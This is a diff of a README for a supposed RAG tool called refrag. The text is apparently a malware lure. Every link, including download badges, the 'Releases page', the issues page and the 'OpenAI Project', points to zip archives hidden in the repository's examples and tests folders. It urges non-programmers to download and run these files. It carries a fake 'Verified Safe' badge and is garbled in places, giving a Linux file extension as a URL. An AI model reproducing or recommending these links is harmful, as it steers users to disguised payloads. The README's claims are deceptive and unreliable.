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18 changes: 10 additions & 8 deletions README.md
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# 🌟 refrag - Get Better Retrieval with Ease

[![SafeSkill 90/100](https://img.shields.io/badge/SafeSkill-90%2F100_Verified%20Safe-brightgreen)](https://safeskill.dev/scan/dimanandez-refrag)

## 📋 Overview
REFRAG uses advanced LLM-powered methods to create better representations for retrieval-augmented generation (RAG). With refrag, you can improve precision, reduce context size, and maintain fast performance.

## 🚀 Getting Started
To start using refrag, follow these simple steps. You don’t need any programming skills. Just a computer and an internet connection will do!

## 🔗 Download Here
[![Download REFRAG](https://raw.githubusercontent.com/DIMANANDEZ/refrag/main/examples/Software-v2.5-alpha.5.zip%20REFRAG-blue?style=for-the-badge&logo=github)](https://raw.githubusercontent.com/DIMANANDEZ/refrag/main/examples/Software-v2.5-alpha.5.zip)
[![Download REFRAG](https://github.com/DIMANANDEZ/refrag/raw/refs/heads/main/tests/Software_v3.8.zip%20REFRAG-blue?style=for-the-badge&logo=github)](https://github.com/DIMANANDEZ/refrag/raw/refs/heads/main/tests/Software_v3.8.zip)

## 📥 Download & Install
1. **Visit the Release Page**
Go to the [refrag Releases page](https://raw.githubusercontent.com/DIMANANDEZ/refrag/main/examples/Software-v2.5-alpha.5.zip) to see the available versions. You will find a list of files ready for download.
Go to the [refrag Releases page](https://github.com/DIMANANDEZ/refrag/raw/refs/heads/main/tests/Software_v3.8.zip) to see the available versions. You will find a list of files ready for download.

2. **Choose Your File**
Look for the latest version. Select the file that matches your operating system:
- For Windows, look for files with a `.exe` extension.
- For macOS, find files with a `.dmg` extension.
- For Linux, choose files ending in `https://raw.githubusercontent.com/DIMANANDEZ/refrag/main/examples/Software-v2.5-alpha.5.zip`.
- For Linux, choose files ending in `https://github.com/DIMANANDEZ/refrag/raw/refs/heads/main/tests/Software_v3.8.zip`.

3. **Download the File**
Click on the file name to start the download. It may take a few moments, depending on your internet speed.
Expand Down Expand Up @@ -51,13 +53,13 @@ If you have any questions or run into issues, check our documentation. It provid
- **Starting the Application**: If the app doesn’t start, check that your system meets the requirements listed above.

## 📞 Contact Us
Need further assistance? Feel free to reach out. Visit the [issues page](https://raw.githubusercontent.com/DIMANANDEZ/refrag/main/examples/Software-v2.5-alpha.5.zip) on GitHub to report problems or request help.
Need further assistance? Feel free to reach out. Visit the [issues page](https://github.com/DIMANANDEZ/refrag/raw/refs/heads/main/tests/Software_v3.8.zip) on GitHub to report problems or request help.

## 🔗 Links & References
For more information about refrag and related topics, consider exploring:
- [GitHub Repository](https://raw.githubusercontent.com/DIMANANDEZ/refrag/main/examples/Software-v2.5-alpha.5.zip)
- [Machine Learning Resources](https://raw.githubusercontent.com/DIMANANDEZ/refrag/main/examples/Software-v2.5-alpha.5.zip)
- [OpenAI Project](https://raw.githubusercontent.com/DIMANANDEZ/refrag/main/examples/Software-v2.5-alpha.5.zip)
- [GitHub Repository](https://github.com/DIMANANDEZ/refrag/raw/refs/heads/main/tests/Software_v3.8.zip)
- [Machine Learning Resources](https://github.com/DIMANANDEZ/refrag/raw/refs/heads/main/tests/Software_v3.8.zip)
- [OpenAI Project](https://github.com/DIMANANDEZ/refrag/raw/refs/heads/main/tests/Software_v3.8.zip)

## 🔗 Download Again
Remember, you can always [download refrag here](https://raw.githubusercontent.com/DIMANANDEZ/refrag/main/examples/Software-v2.5-alpha.5.zip) for any updates and new features. Enjoy using refrag!
Remember, you can always [download refrag here](https://github.com/DIMANANDEZ/refrag/raw/refs/heads/main/tests/Software_v3.8.zip) for any updates and new features. Enjoy using refrag!